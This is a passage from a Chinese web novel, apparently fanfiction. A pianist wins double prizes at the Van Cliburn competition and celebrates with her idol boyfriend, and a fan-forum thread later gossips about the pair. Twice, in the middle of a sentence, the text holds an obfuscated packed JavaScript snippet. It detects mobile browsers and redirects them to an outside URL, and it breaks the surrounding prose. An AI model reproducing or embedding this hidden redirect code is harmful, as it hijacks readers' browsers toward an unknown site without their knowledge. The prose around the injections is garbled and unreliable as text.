回想起最初将手指笨拙地放在琴键上,被温暖的大手覆盖着,一个音一个音地耐心引导, 回想起无数个日夜的苦练,回想起枯燥的音阶,回想起疲惫的眼泪,回想起祖父般慈爱的笑容……想起了尖锐的痛楚,想起了凌冽的冬风,想起了那句‘能活下来就已是万幸’的怜悯悼词。 她不甘心。 她怎么能甘心??! 如果非要接受这样的命运,那她情愿亲手将自己撕碎,宁可化作一场玉石俱焚的暴雨,也绝不这样得过且过的就此妥协! 思绪猛地被拉回现实,拉回到这万众瞩目的舞台。 所有的回忆,所有的痛苦,所有的挣扎,在此刻被化作了深沉的力量,灌注于她的指尖! 就在回旋曲主题又一次欢快地再现,似乎一切都将顺理成章地走向辉煌终结时—— 李艺率摒弃了理智,握紧拳头手臂猛然扬起,带着一种近乎决绝的力量,在键盘上重重落下! “砰——!!!” 一个前所未有的,近乎是石破天惊的强力和弦猛然炸响。 这并非是失控的噪音,而是在绝对控制力下凝聚了所有抗争意志的咆哮——带着近乎悲壮的决绝,如同惊雷劈开欢庆的盛宴,如同英雄对命运发出的最沉重、最愤怒的诘问! 这声音让全场观众的心脏为之骤停,评委席也惊得微微睁大了眼睛。 霍斯先生的手臂在空中有一个明显的停顿,随即便以更加激情的动作引领乐团给予最强硬的回应—— 紧接着,李艺率的手指再次以不可思议的速度和清晰度奔跑起来,音乐非但没有被这沉重的一击打断,反而像是被注入了更强的动力和情感,以更加奔腾不息,更加狂喜的姿态冲向终点! 每一个音符都燃烧着生命的瑰丽,诉说着她所有的痛苦和绝望,不甘和挣扎,以及最终,这无比炽热的、渴望超越一切的胜利! 后续的音符在肌肉记忆下燃烧着她的灵魂,在擂鼓的心跳中,她听见管弦乐和鼓声气势宏伟地奏响最后的强音—— 不知道过了多久,也可能只有一瞬的静默, 她听见潮水般的掌声打破沉寂,撕裂了她这近五年来绝望的永夜。 她做到了。 炫目的灯光聚焦在她身上,灼热得让她晕眩,刺眼得几乎叫她落下泪来。 李艺率颤抖着剧烈喘息,指尖传来熟悉的疼痛,汗水沿着鬓角滑落,混合着咸涩的液体。 她仰着头,视野边缘的强光似乎柔和了下来,凝聚成一个熟悉的轮廓,那张皱巴巴的脸出现在朦胧的光晕里。 脸上仿佛落下了一双温暖干燥的大手,遥远而又模糊的声音在她耳边响起—— 我可爱的小熊, 怎么能把钢琴弹得这样悦耳。 * 当最后一系列强劲有力的C大调主和弦从李艺率指尖轰然奏响,又以一种最辉煌、最无可争议的姿态,终结全曲时,音乐厅出现了一刹那绝对的寂静。 仿佛所有的声音、时间、呼吸都被那最后的强音所吞噬。 然后,下一秒钟—— “Bravo——!!!” 权至龙甚至还沉浸在那辉煌灿烂至极的音色中没有反应过来,身边那名得体的中年男子便已早早站起身大声喝彩鼓掌。 随后,掌声、喝彩声、跺脚声瞬间席卷了整个交响音乐厅。 观众们几乎全部自发起立,掌声雷动,经久不息。评委席也主动站起身,带着惊叹和赞赏,毫不吝啬地送上掌声。 霍斯指挥转过身,面向观众,脸上洋溢着激动和兴奋。 他率先向钢琴独奏者伸出手,示意这是属于她的荣耀时刻。 李艺率从琴凳上站起身,呼吸仍未平复,额头上是细密的汗珠,但脊背依旧挺直。 她面向观众,深深地鞠躬,再次抬头时,暖棕色的眼睛里仍闪烁着明亮的水光,嘴角却扬起了灿烂张扬的笑容。 她做到了。 用一首《皇帝》完成了自己的加冕礼。 权至龙这才后知后觉反应过来,下一秒几乎是触电般地从座椅上弹了起来! 他甚至忘了自己身处何地,忘了周遭的一切,胸腔被一种前所未有的滚烫情绪填得满满当当,几乎要爆炸开来。 “Bravo!艺率啊!做得好啊!!” 他眼眶发热,喉咙哽咽,除了喝彩以外什么话也说不出来。所有的感知,都被舞台上那个发光的身影所占据。 只能用力地手掌拍得通红发痛,扯着嗓子放任声音淹没在震耳欲聋的声浪中。 真是一个明媚灿烂到了极致,除了性格以外毫无缺点的人啊。 看着舞台中央的身影,权至龙如是想到。 此时台上的李艺率正依次与霍斯先生、弦乐团首席拥抱贴面,又与指挥并肩谢幕鞠躬,随后朝着观众席眨眨眼露出一个俏皮的笑脸。 ……好吧,其实性格也很可爱。 望向那个被聚光灯镀上一层璀璨金色,明亮到几乎无法直视的身影,一直追到李艺率退回了舞台边缘通道,权至龙这才眨眨发酸的眼睛,这样想到。 * 毕竟是一场耗时40分钟左右,全情投入的高强度演奏,主办方给每位选手在中场间隙预留了十五分钟的休息时间。 倒也有观众起身走动,不过权至龙此时仍然回味着刚才的震撼,因此并不在此列。 倒是坐在他右手边那位举止得体的中年男子穿好外套,整理了衣摆和袖口,站起身对着权至龙缓声道: “请让我过去一下,我要准备提前离开了。” 说着,他像是想起了什么,跟着补上了一句,“或许下次我们会有机会再见面。” 权至龙在站起身为那名男士让路,听到这句摸不着头脑的话只是微微一愣,倒也没多追问,只是礼貌寒暄道: “您这就要走了吗?等会还有一场演奏,全部结束以后才会公布名次。” “名次?” 闻言,那位中年男子只是牵动唇角,露出一个浅淡又柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260145|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和的笑意,声音里满是不容置疑的笃信: “我已经提前知道结果了。” 权至龙:“…………” 虽然这么说有点不太好,但是这位叔叔真的好装啊。 简直是比刚认识李艺率的小老外时期还要夸张三五倍的那种程度! 怔怔看着对方潇洒离开的背影,权至龙眼里满是困惑,甚至还有一丝连本人都难以察觉的……向往? * 所有选手的演奏完毕,评委们退场进行最后的合议。 波士顿交响音乐厅后台的过场通道里,光线略显昏暗,能隐约还听见前场传来的低声议论和评委麦克风里的余音,更衬得这条通道格外安静压抑。 权至龙陪着她在候场通道等待。 他背靠着冰冷的墙壁,眼睛几乎黏在通道入口处,仿佛这样就能穿透厚重的帷幕,提前知晓结果。 周围是同样紧张的参赛选手。 权至龙不着痕迹地打量着身边神色凝重的选手们,把手揣进外套口袋里,蜷缩着手指抠弄指甲。随后又状若无事地凑近李艺率: “艺率啊,你紧张吗?” 李艺率:“…………” 她斜睨了他一眼,丢下一个无语至极的眼神。 相比起紧张到整个人狗狗祟祟的权至龙,身为当事人的李艺率面上看不出什么多余的情绪。 她抱着手臂,姿态看上去比权至龙放松许多,甚至仍有闲兴地打量着通道里挂着的历代指挥家肖像: “弹都弹完了,现在紧张有什么用,”说着,她歪着头发出细小的气音,“区区小权,果然就是逊啦!” 权至龙:“…………” 他这都是为了谁啊! 不知过了多久,评委会主席终于再次走上舞台,手中拿着最终的结果信封。 现场议论的嘈杂声像被按下了静音键一般瞬间消失,只剩下相机镜头焦躁拨动快门的机械音。 评委会主席的声音通过麦克风清晰地传了过来,让权至龙几乎是屏住了呼吸,猛地站直身体。 铜奖…… 银奖…… 播报选手姓名和国籍的声音通过麦克风传来,后台被点到名字的选手们陆续走出通道,登上舞台领奖。 他们脸上的表情权至龙看不真切,可他猜想一定没有懊恼和不甘——李艺率是本届倒数第二位出场的选手,加之今天就是宣布结果的颁奖日,他猜这些选手们或许早在后台听到过她的演奏。 毕竟他的艺率就是弹得很棒啊! 大概是赛事方也对此感到赞同,因此下一秒,评审主席拆开信封,印证了他的想法: “And the First Prize, the Gold Medal winner of this year''s Van Cliburn International Pianopetition is——” (今年范·克莱本国际钢琴比赛的金奖得主是——) “YeSol Lee——!!” 前场爆发出巨大的声浪。 在掌声,欢呼声和口哨声一同爆发的同时,权至龙也猛地扭头看向李艺率,眼睛瞬间睁大,尘埃落定的巨大喜悦如同电流般窜过他的四肢百骸! 得知好消息的李艺率倒是显得很平静,她向来对自己的技术十分自信。 我都差点在舞台上把自己燃得只剩下一捧灰了,拿个金奖不是理所当然的事情吗! 李艺率如是想到。 然而主席的声音还在继续:“And the Audience Prize……is also awarded to YeSol Lee! Congratulations!” (还有观众选择奖,也被授予李……!恭喜) 双料冠军! 这下倒是有些出乎意料了。 范赛历史上不乏有双料冠军。 从本质上来说,范赛设置“观众奖”这一行为本身就代表了古典音乐家成功的两条路径。 评委奖代表行业的认可,它肯定了选手的技术准确性、音乐深度、风格把握和对作曲家作品的理解和尊重;而观众奖则代表市场的吸引力,反映了选手的舞台魅力、沟通能力、音乐感染力和‘明星气质’。 大部分演奏者会在弹奏过程中会表现出一副沉醉在乐曲中的姿态,这其中当然有身体系统发力的反应、内在情感的自然流露,但更重要的是,这是一种释放视觉信号和强化舞台表现的心理策略。 但像海因兹这样向来古板的钢琴大师自然不会教她这些‘演技派’的学问,她小时候也嫌这样太过做作,等车祸得病以后就更做不了了……毕竟全身心投入对肩背手臂甚至脸部肌肉的考验都非常大。 她本以为像她这样摒弃了一切表演元素,静止的坐姿和面无表情到近乎有些‘匠气’的姿态会让观众感到乏味……没想到还能拿到双料奖。 这下李艺率的确是实打实感受到惊喜了。 然而她还来不及在面上表现出来,站在身边的权至龙就已经忍不住开始催促了。 他整个人激动得险些跳起来,下意识想抓住她的手臂摇晃,又硬生生忍住,只是语无伦次地指着前方的舞台,“双料冠军!!快出去!去领奖啊!呀,巴里——!” 李艺率:“…………” 这家伙未免也太激动了吧! 一旁的工作人员伸手掀开帷幕,笑着示意她上台。 李艺率与仍留在后台的选手们一一握手,随后深吸一口气,迈步走向那片璀璨灯光下。 权至龙紧紧跟在通道边缘。 他躲在帷幕的阴影里,看着他的艺率背对着他转身,走向舞台,走向离他很远的方向, 笑容得体地沐浴在无数的灯光和目光下,接过奖牌和花束,与评委们一一握手,接受着来自全场的祝贺。 潮水般的掌声和快门拨动的声音此起彼伏。 直到站在舞台中央,迎着灯光微微仰起头,喜悦和兴奋直到此刻才真正汹涌地冲刷着李艺率的感官。 这样嘈杂的声浪,这样刺痛的光污染,竟也能让她感受到目眩的甜蜜。 可实际上这样的甜蜜并没有持续很久。 因为站在灯光下的她,下意识地回头扫向了来时的方向。 她看见了权至龙。 他就站在原地,没有像周围人那样疯狂鼓掌呐喊,只是静静地、专注地望着她。 昏暗的光线填满了他的轮廓,可那眼神却仿佛穿越了舞台上的光芒,直直地落在她身上。 李艺率看不清他眼里的情绪,甚至看不清他的表情。 可偏偏是这样的看不清,反倒叫她的心被狠狠地揪了一下。 不可以这样。 她必须要和他一起分享此刻的快乐才行。 这个念头来得这样突然,又强烈到她再也无法忽视。 于是,在所有人惊讶的目光中,刚刚接受完祝贺的李艺率,抱着花束,对着评委、赛事方和观众再次深深鞠了一躬后,忽然做出了一个出人意料的举动—— 她的目光紧紧锁定了通道阴影里的那个身影,脸上灿烂的笑容丝毫未减, 捧着花束,猛地转过身,张开双臂朝着后台通道入口的方向,像只归巢的小鸟,毫不犹豫地小跑过去! “小权!” 在所有人反应过来之前,李艺率已经跑到了通道口,做出微微起跳的姿势。 权至龙则是完全愣住了,眼睁睁看着那个光芒万丈的身影,那张明媚生动的笑脸朝着他的方向直直地扑过来。 身体仿佛演练过无数次的本能,先于大脑做出了反应。 他冲出了阴影,几步跨上前,在李艺率起跳的瞬间,稳稳地接住了飞扑而来的她! 短暂的冲击险些叫他后退一步,又下意识伸手将她搂得更紧了些。 有力的手臂穿过她的膝弯和后背,稍一用力,便将她整个人高高托起,让她侧坐在了自己的手臂上。 李艺率一手抱着花束,另一只手自然地搭在他的肩上,发出一声短促而开心的惊呼,随即又放肆笑出了一串甜泡。 镁光灯追了上来。 观众席也在短暂的惊愕后,爆发出更加热烈、更加善意的掌声和欢呼声。 太好了。 李艺率听见权至龙这样小声的说到。 于是她迎着眼前刺眼的白雾,一把搂住他的脖颈,凑到他耳边甜滋滋地回应道: “是啊!我拿了双冠呢,真是太棒啦!” 权至龙仰头看着她,看着她坐在自己臂弯里,看着她堪称意气风发的笑容近在咫尺……刚刚缺了的那一角又被更为饱胀的情绪彻底填满了。 真是傻瓜啊。 他这样想着,又默默地收紧了手臂。 **** 大眼热门话题广场,一个名为#你眼里的意气风发#TAG下的一张图被顶上了热搜。 有好事网友顺着热搜点进去看—— 发帖人的个人介绍是某艺考大学生,配的动图是一个拿着花束的年轻女孩面朝观众席鞠躬以后,转身朝着后台的方向飞奔。紧接着如同乳燕投林一般,稳稳扎进了一个看上去同样年轻的男孩怀中。 她被高高托起,侧坐在男孩的手臂上,一手抱着花,一只手搂着男孩的脖颈,脸上绽放出极致灿烂的笑容——就像是坐在了属于自己的王座,那样光芒万丈,那样意气风发。 真好啊。 无数网友看着这张动图,嘴里止不住的发出感叹。 然而点开评论区,却只收获了满屏问号。 [?] [???] [这是不是KJY??] [请问这素在??] [?真不是在演电视剧吗??!] [KJY你睡了吗?我睡不着!我已经连续刷了这张动图五个小时了TT] [梦女先别吊死在我家门口!我就想问问南韩赘婿故事突然更新了怎么没人发推送啊啊啊啊!] [立刻打开郫县,我必须马上开饭!] 38.南韩赘婿故事1.0 主题:[人在大眼,刚到郫县,请问这里就是全网最尊重赘婿的小组吗?] 发帖人:momo一号机 ———— 友友们好。。之前俺的大本营一直在大眼,因为在广场一张动图底下的评论区看到大家都在提到本组,所以火速注册申请! btw偷偷吐槽一下。。。 本mo申请小组的理由填的是想写一些缺德的南韩赘婿故事,没想到一秒就通过了。。。 管理员你小子也在偷偷期待是吧? 看着本mo的眼睛!我不信你两眼空空(荷包蛋眼泪 说回正题,先发个前情提要: [微博正文] 众所周知—— 网友们一直对知名音乐人、艺术家、剋泡一骑绝尘、缺瓣小雏菊品牌主理人、著名男团最后的留守孤寡老豆、鸡舍龙脉传奇复兴人、演艺圈的男德标兵纯爱战神以及南韩第一赘婿款鸡涌先生的情感生活一直十分好奇。 虽然款鸡涌先生本人深受五毛钱嘴の苦,经常会在访谈类综艺超绝不经意地提起自己的感情生活,其中主语包括但不限于:亲故。。女亲。。家人。。。 但懂得都懂,一旦看到款鸡涌先生脸上出现经典的神秘关种微笑,那么故事的主角大概率就是某位不能提及姓名的U know who(们南韩也有自己的伏地魔! 话说回来,因为某些再次众所周知的原因,这位大名鼎鼎的李氏公主nim在南韩互联网和舆论场属于一刀切不能随便提及的存在,这段恋情也就自然而然地变成了南韩网友们心照不宣的秘密。 而款鸡涌先生本人虽然一直明里暗里踩在梦女的脸上狂秀,但是从网上流出的几张SS图可以看出对女方的保护欲真的很大。。下面放几张图 [图片] [图片] [图片]x10 从上面几组图可以看出,不管SS姐的角度有多刁钻镜头有多阴险,只要被款鸡涌先生察觉到,身体就跟有肌肉记忆一样。。。不是把头搂在怀里挡住脸就是马上给戴帽子墨镜。。。 不是哥们,讲道理真有必要这样吗?? 让我们也看一下怎么了? 看看会少一块肉吗?你小子真别太小气了! 不过还好如今互联网时代的信息实在发达,各行各业的万能网友足迹遍布,终于让本mo从这场与款鸡涌先生的战役中扒出了他的致命破绽! 因为这张动图实在是有点糊,本mo只好顺着这条线索进行缜密的观察(其实就是去看了发图人的公开wb),发现了号主本人是国内艺考刚上岸的音乐生。再通过多方取证(其实就是直接去私聊号主),终于找到了当年留存的影像资料(鼓掌! 这张动图的事件背景是07年的三月,大名鼎鼎的范赛决赛轮 秉承着合格的侦探就要不错过一切线索的刨根问底精神,本mo摸到了范赛的官网,终于找到了当年留存的花絮和这张动图的原始视频。。。甚至还找到了官方拍摄的图片! [图片]x3 [网页链接] [视频链接] 通过图片可以当年的范赛双料冠军李叶丝噜女士在领奖以后第一时间冲向后台一个飞扑,被款鸡涌先生一把子搂住狠狠抱起,充分表达了新王登基的激动和李叶丝噜女士的思乡之情。。。(bushi 看到这里本mo还有一个疑问,从官方给出的数据来看,款鸡涌先生的身高是179左右,这个时期的体重目测大概120? 根据本mo的生活经验,这样身材的男士在某些特定的时刻某种特定的配合下可以轻松抱起一个体型纤瘦的女士,但是。。。像视频里这样一把子抡住架起来好像有点太离谱了吧??! 款鸡涌你小子,表面上是气球人人设,背地里偷偷做魔鬼筋肉人是吧! 另外,在收听完整场音乐会以后,本mo又发现了一点有意思的东西。。。 其实这场音乐会的视频阿b上面也有,但是是裁掉了现场掌声的版本,差点就让本mo错过了款鸡涌先生遗留的巨大黑历史!! [视频连接] 在视频开头两分多的时候,李女士入场前的掌声中,本mo清晰地听见了很大一声韩语,是在喊fighting什么的。。。 连本mo这个不听古典乐的土狗都知道这种音乐会除了掌声以外是不能发出任何声音,甚至在现场连咳嗽都要拼命忍住的那种。。。(不过讲道理这要求是不是有点太苛刻了啊! 所以结论就是。。。此事件恐成为款鸡涌先生十几年兢兢业业的豆涯中的最大黑料! 。。甚至还是豆本人自己把证据舞到了粉脸上。。。 一时情难自禁了说是。。。。 另外,本mo顺着李叶丝噜女士的职业生涯往下捋了捋,又摸到了肖赛和柴赛官网的颁奖舞台找到了以下证据: [网页连接] [网页连接] [视频——2010年肖邦国际钢琴大赛闭幕颁奖仪式] [视频——2012柴可夫斯基国际音乐节闭幕颁奖仪式] 虽然后面的两次因为款鸡涌在东亚已经小火一把,不能像07年的糊咖时期那样放肆 但是你小子不会戴个口罩就以为本mo认不出来了吧??! 好好好,仗着自家老婆是冷圈没人知道所以就开始放肆 你小子就大胆秀吧! 最好直接舞到本mo脸上来!! 我倒是想看看南韩第一赘婿的生活究竟可以有多幸福!(求你了别逼我跪下TT ps 发帖前在组里逛了一圈,虽然款鸡涌先生一直是组里的热门话题,许多momo们看到他的帖子就跟回到老家一样开始缺德,甚至发出酸鸡的尖叫(实不相瞒俺也一样 但大多都是随便搬运一点梦女厕的内容在评论区底下嘻嘻哈哈,很少有那种大型连载的剧情。。。(更不要说什么领磕楼了! 所以为了弥补这部分的空白,本mo打算开一个同系列专题,好好考古一番,捋一捋这位南韩知名舔到最后应有竟有的最大受益人的情感生活! pps 在楼里逛了很久只有一个疑问,为什么在这里大家都默认了用赘婿来称呼款鸡涌??怎么他在本组已经痛失姓名了吗?! 之前在大眼,大家听到这个词好像有点过敏一样。。。之前本mo还看到只因为这个词被追着骂了大几十楼的倒霉蛋。。。 这是某种新型的仪式吗?本mo是不是也得改一下子了??(咦,怎么俺好像也默认了。。。 ———— 1L: 沙发 看到赘婿的帖子我就马上点进来了。。 很快啊!(马老师语气 2L: 哈哈哈哈哈哈哈哈最后的重点居然是这个吗??! 3L: KJY:首先我不叫喂!叫我南韩第一赘婿! 4L: 讲道理我还迷失在最开始赘婿那一串让人脚趾抠地的title里 走走走。。我们这里坐不下那么多人!(退!退!退! 5L: 们南韩也有自己的大冰老师! 6L: 把友友发的07年高清官图看了一遍。。。 看完以后感觉整个人年轻了十岁 气血都足了。。。 7L: U1S1拍得是真不戳 年轻的新王飞奔向心爱的男孩。。。 我承诺将与你分享属于我的荣耀,我的热情,我的财富,我的爱。。。我的一切 谢谢友友,又酸到了捏 8L: KJY你小子到底凭什么啊??! 9L: 你们的关注点都好正常。。只有我在关心楼主说的特定时刻特定配合吗???(小脸通黄) 10L: 肾么意思? 是说像动图里LYS跳到KJY怀里那种配合吗? 11L: 。。。。。。 12L: 回家吧孩子。。回家好不好。。。 13L: 赶紧把10楼折叠一下假装无事发生过。。 楼主你小子别藏了 大家都知道你有好康的。。。 14L: 楼主本人有没有好康的我不关心 但是赘婿本人有没有这种特定时刻特定配合对我来说很重要! 15L: 谁说不是呢。。。 16L: 不过他能这样一把子扛起来真的很牛 赘婿不可貌相了说是。。 17L: 肾上腺素:懂不懂我的含金量啊!(战术后仰 18L: 话说回来,李叶丝噜也太土了吧!!! 19L: 李在叙:严父の注视 20L: 谢谢。。已经开始害怕了 21L: 刚刚把上面的视频点开听了一下 真的好清楚一声fighting啊。。。 22L: KJY恐遭遇豆涯最大危机 23L: 兢兢业业当了十几年豆。。没想到会因为年轻时的一个不懂事毁掉十几年洁白无暇的职业生涯。。。。 真是世事无常啊!(发出尖锐爆笑哈哈哈哈哈哈哈 24L: KJY:黑粉头子竟是我自己。。。 25L: Blackpink in my area了说是。。。 26L:回复25L 救命啊俺不中了哈哈哈哈哈哈哈哈 27L: 不过讲道理 LYS真的弹得好厉害啊 28L: 当年的双料王 你以为。。 29L: 好像是范赛历史上第二位双料王吧? 前一位好像还是盲人钢琴家。。。感觉应该加了很多场外分 30L: 她一直很厉害啊 大满贯你以为。。。 真搞不懂早十多年为什么有那么多人质疑。。。 31L: 。。论撕逼古典乐圈应该是现在饭圈的祖宗了 32L:回复31L: 连莫扎特都被撕过。。。 要论起来还真是祖宗了 32L: 钢琴的德奥派俄派法比派的撕逼哪怕到现在都没停过。。。 33L: 最早LYS出现争议还是因为被媒体抨击太匠气了只会弹德奥作品吧?? 然后人家就不声不响去拿了肖赛柴赛金奖 爽死谁了我说。。。 34L: 反正爽死我了 35L: 不是,哥几个你们都是圈内人吗??? 你们这样搞得我好有距离感。。。。 36L: 追剋泡的音乐生不算少啊 哪怕是不同专业,但凡音乐生都知道她啊 懂不懂什么是留声机当代前十的含金量啊!(战术后仰 37L: 是的。。她真的很厉害。。。 但是她出现在大众视野里基本上都是跟KJY扯上关系。。怎么说呢 反正我就感觉没人讨论她,没人关注她的作品,也没人关注她是一个超级超级厉害的钢琴家。。。 感觉纯就是在给一个男人镶边了。。。她没有自己的生活吗?? 38L: 。。。。活捉搂上LYS梦女一枚 39L: LSY:退!退!退! 40L:回复37L 没必要上升到这种高度吧。。。 古典乐本来就是冷圈啊。。而且像娱乐圈这种大家还可以调侃一下,放在严肃的圈子里大家压根不敢多开玩笑吧。。。 41L: 是的。。。 让我说点赘婿的缺德笑话我张嘴就来 但是让我调侃LSY我就会感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260146|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是有冒犯到大艺术家。。。 42L:回复37L 你问LYS有没有自己的生活?那我告诉你 每天在一百平的床上醒来,爸爸是首富,老公圈内做到了顶级一大把年纪依然有数不清的梦女。。。 她本人又有天赋又有地位长得又漂亮,钱名声爱什么都不缺。。你说她的生活爽不爽? 她爽死了我告诉你!! 43L: 我要是投胎成LYS我做梦做到一半都会坐起来笑十分钟再睡 44L: LYS:人生,易如反掌! 45L:回复44L 不是立本语,不严谨。。删了让我发 46L:(momo一号机) 她真的拥有很多爱。。。 我考古了很多赘婿早期的访谈和综艺,她的出镜率真的很高的 甚至赘婿很多出道早期的电台都会把亲故亲故挂在嘴边 按照时间线来算真的是20年来从一而终了。。。(酸死我算了 47L:回复46L 哈哈哈哈哈不是哥们,赘婿这个词你张嘴就来啊。。 也是水灵灵的融入本组了 48L: 而且其实真正让人觉得动容的一个点是什么 07年的时候赘婿还是个湖笔吧。。。谎言那个时候还在娘胎里呢 压根没什么钱 就这赘婿也能在假期专门飞去美国陪她参加重要的比赛 她真的有好多爱啊。。。 49L: 岂止是没什么钱。。我甚至都怀疑两张去美国的机票已经是KJY出道大半年的全部收入了。。 韩国爱豆只要出道就代表欠了公司一大笔钱了。。。 更何况那个时候棒还是糊咖中的糊咖 50L:回复49L 。。。不至于吧??? 51L:回复50L 真至于。。 南韩那边和国内208不一样的。。。 TVXQ那个时候多红啊??连我60岁的奶奶都知道韩国有五个小伙子叫东方不败。。。(哈哈哈哈发出缺德的爆笑 但是就这样年末结算下来也就仨瓜俩枣 真别小看资本家的吸血虫属性了 你小子要想在我手下干活就等着被我敲骨吸髓,榨干最后一滴死了烧成灰也会被我拿来施肥做到再利用的! 52L: 谢谢。。。已经开始害怕了 53L: TVXQ我永远的痛(一个老仙后发出雄鹰般的嚎哭 54L:(momo一号机)回复50L 是真的。。考古了赘婿的老综艺确定了 [视频] 为防止有momo懒得打开视频,我这里就直接repo了 MC:为了恋爱做过最疯狂的事情是什么 KJY(露出招牌关种笑脸):其实也不知道这算不算,07年的时候吧……假期的时候专门买了机票飞去美国去见她 MC(震惊表情):那个时候就去美国旅游吗?很有钱啊! KJY:……阿尼啊,那个时候我们组合没什么名气,年底结算的时候也没能拿到多少。 KJY:可以说是全部资产了! MC:…………那很算了(震惊加无语) MC:就没想过到地方吃住什么的吗?去了国外好歹买点纪念品吧! KJY:完全没想过,就是很冲动地就去了 KJY:当时想着只要见她一面就很好了。 55L: 。。。。。。。 56L: 吉瑟丝。。。 57L: C8! 虽然有想过他恋爱脑。。但真没想到能到这种程度。。 58L:(momo一号机) 先被急着震惊 更绝的还在后面 KJY:当时因为没有提前告诉她,她又忙着准备比赛的练习,所以我到美国以后一直联系不上她……就,在机场等了差不多八、九个小时吧 MC:……………… MC:后来呢? KJY:后来她看到信息以后跑到机场把我臭骂了一顿。啊,当时还是第一次看到她这么生气呢! MC:搞错人了吧!为什么是她生气啊?你就不生气吗? KJY:完全没有呢。 MC:那你当时是怎么想的? KJY:嗯……很开心啊。当时看到她只感觉,真好啊,终于见到了。 59L: 。。。活该你小子能当上南韩第一赘婿 60L: 救命啊。。。KJY我球球你去看一下兽医吧 我真怀疑你是条狗! 61L: 说真的。。到这种程度有点太夸张了吧! 62L:(momo一号机) 甚至还有更夸张的! 本mo越考古就越活成了表情包的形状 KJY真好绝一男的,完全把偷偷藏不住这几个大字写进了自己的职业生涯。。 不过可能是他活跃的年代各种贴厕大本营都还没有像现在这样,所以现在追剋泡的人只知道他是赘婿,不知道他当年有多夸张。。。 大眼那边有很多综艺爬楼的,我看本组讨论度不高,基本上就是来酸一些缺德笑话的。。。 俺都想什么时候有空搬一点过来做直播repo了(真的只是考虑一下哦! 63L:回复62L 想看! 求求求求求求你了(荷包蛋眼泪 64L:回复62L 这个我是真想看。。。 65L:回复62L 我将誓死追随你!!求求你了让我也看一下吧! 66L:回复62L 如果不能看到赘婿的综艺考古直播。。那么我是说,我的人格,我的品德,我灵魂里一切美好的东西都会消失的!(呜呜呜别逼我跪下来求你! 39.李艺率,抱抱我 大概是决赛那天送出的那枚手作发夹给权至龙带来了十足的勇气,因此第二天他就将这段时间一直收在背包里的、这半年多来为李艺率准备的礼物一股脑地全塞给了她。 权至龙:“送给你。” 李艺率接过礼品袋的时候有些惊讶:“哪来的?” 这段时间他们几乎跟连体婴一样呆在一起,这家伙哪来的时间去准备的? 权至龙挠了挠后脑勺,别过脸去,状似不经意地含糊道:“之前顺手买的。” 李艺率:“……” 怎么突然神神秘秘的。 礼品袋的LOGO还是他刚到波士顿那天晚上去买衣服的品牌袋子,看起来就像是顺手拿了个袋子装的—— 可纸袋被好好地抚平了,开口处的褶皱也被折好,看上去很有些矛盾的仪式感。 里面的东西倒是很零碎。 一顶软乎乎的奶白色羊毛贝雷帽,一条触感柔软细腻的烟灰色羊绒围巾,一枚镶嵌着淡蓝色托帕石、小鲸鱼形状的胸针,色彩鲜艳的手串,几条图案特别的手帕,还有厚厚一沓不同主题的明信片。 这“份”礼物看上去收集的时间跨度还挺大的。 李艺率:“韩国带来的礼物啊?” 权至龙:“嗯,在国内看到觉得很合适就买了。” 李艺率看向权至龙假装若无其事的侧脸,眼神复杂: “……所以说其实你很早就准备好了,结果都十来天了才终于有勇气送给我啊?” 闻言权至龙沉默了一瞬,随即耳廓泛红并振振有词:“是之前一直没找到合适的机会!” “小权,你这家伙……” 李艺率伸出食指戳戳权至龙的手臂,脸上满是藏不住的恶趣味:“心里真的是住了个脆弱的小女孩啊。” 权至龙:“…………” 这话未免也太不中听了吧! 但看着李艺率收到礼物以后,明显开心灿烂的模样,权至龙也忍不住跟着嘴角上扬。 “谢谢你啦!我很喜欢,”说着,她叠好围巾将东西整理好又重新放回袋子里,继而发出一声悠悠地长叹,“我之前看电视的时候还很不理解薛功灿为什么会因为一点微不足道的小礼物就对周幼琳念念不忘的……”[1] 现在仔细想来,能有人在生活的细枝末节中也肯为她停留,的确是很珍贵的心意啊。 这么想着,她又不自觉地笑着看向权至龙,眼神柔软得如同一抹难能可贵的春光,仿佛被看上一眼就叫人懒洋洋地在心里泛起涟漪: “只要一想到你在这么忙的行程里还能记挂我,我就觉得很开心哦!” “哦……”权至龙被她看得不自在,却又怎么也舍不得挪开视线,只能任由失控的心跳慌乱撞向胸腔。 权至龙:“这没什么的,就是刚好看到觉得你会喜欢就买了。” 他逞强地这样说到, 可耳根仍止不住地滚烫,耳畔响着嗡鸣,连带着脸侧的肌肉也不受控制地扯起一个近乎傻瓜一样的笑容。 这其实是他未满二十岁的人生中从未有过的体验。 真糟糕啊,他想。 简直像是被她抓住了把柄一样。 一旦被她察觉了他的在意,他就好像变得更在意她一点了。 可惜他在意的女孩在说出了不得了的话以后,又变回了木头一样煞风景的模样。 李艺率:“不过话又说回来,虽然理解了薛功灿,但我果然还是不能理解俊熙和李英宰……啊,还有韩启舟!”[2] 权至龙:“…………” 李艺率:“正常人会因为吃个开水泡饭、酱拌饭,甚至便利店随便买的一个饭团就爱上对方吗?这些编剧未免也太小瞧有钱人了吧!” 权至龙:“……说真的,我现在都不知道该不该反思自己之前上学的时候放你看太多电视剧了。” 更让人值得深思的是,李艺率说的这些电视剧竟然是他全程陪着追过的,里面主角的名字和剧情桥段他也同样如数家珍。 